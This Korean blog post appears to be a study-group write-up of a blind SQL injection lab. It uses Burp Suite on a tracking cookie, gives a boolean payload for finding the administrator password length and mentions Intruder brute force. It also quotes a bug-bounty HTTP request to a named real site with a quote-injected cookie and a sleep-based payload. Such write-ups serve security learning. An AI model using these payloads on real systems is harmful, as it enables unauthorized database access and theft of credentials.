3주차과제

조승현·2022년 10월 6일
0

EVI$ION_전체세션

목록 보기
2/6

Blind SQL injection with conditional responses


administrator 사용자 계정으로 로그인하면 해결되는 문제

cookie와 관련된 문제인가


그냥 평범한 웹사이트 같아 보임

로그인 창에 다녀왔는데 갑자기 Welcome back! 가 뜸
-> 내가 이 웹사이트에 접근했던 기록이 남는다는 것을 알게 됨

버프스위트를 켜서 패킷이 어떻게 이동하는지 확인

Home 버튼을 눌러서 패킷 잡기

TrackingId=D4czSwOYSUv2DEeC

만약 거짓이라면 어떤 식으로 화면에 뜨는지 확인


Welcome back이 없어짐!
-> 참을 입력하면 Welcome back이 거짓이라면 그 문구가 사라진다는 것을 알게 됨

즉, Welcome back이 찍히는 유무에 따라 내가 넣는 쿼리문이 참인지 거짓인지 알 수 있음


그렇다면 문제에서 하라고 한 대로 administrator라는 사용자 명을 가진 사용자 (즉 관리자 계정)의 비밀번호를 얻어내야 함
'AND (SELECT 'a' FROM Users WHERE Username='administrator' AND Length(password)=__)='a라는 명령을 넣어 패스워드의 길이를 일차적으로 알아냄

20인건 하나씩 때려맞추기..

Welcome back!이라는 문구가 뜬 걸 봐서 비밀번호의 길이가 20임을 알게됨

이제 그 20개의 문자가 뭔지 하나씩 찾아야 하는데..
생각해보니 interuder에 있는 brute force 방식을 사용하면 간단하게 찾을 수 있다는 걸 깨달음

Blind SQLi 실제 취약점 찾기

버그바운티 Blind SQLi

쿠키에 존재하는 파라미터가 SQL injection에 취약해보임.
'와 같은 따옴표 injection시 구문과 함께 SQL 오류 발생

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en'; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

데이터에 접근할 수 있도록 함

확인을 위해 %2b(select*from(select(sleep(20)))a)%2b와 같은 쿼리문을 넣음으로써 응답이 지연됨.

0개의 댓글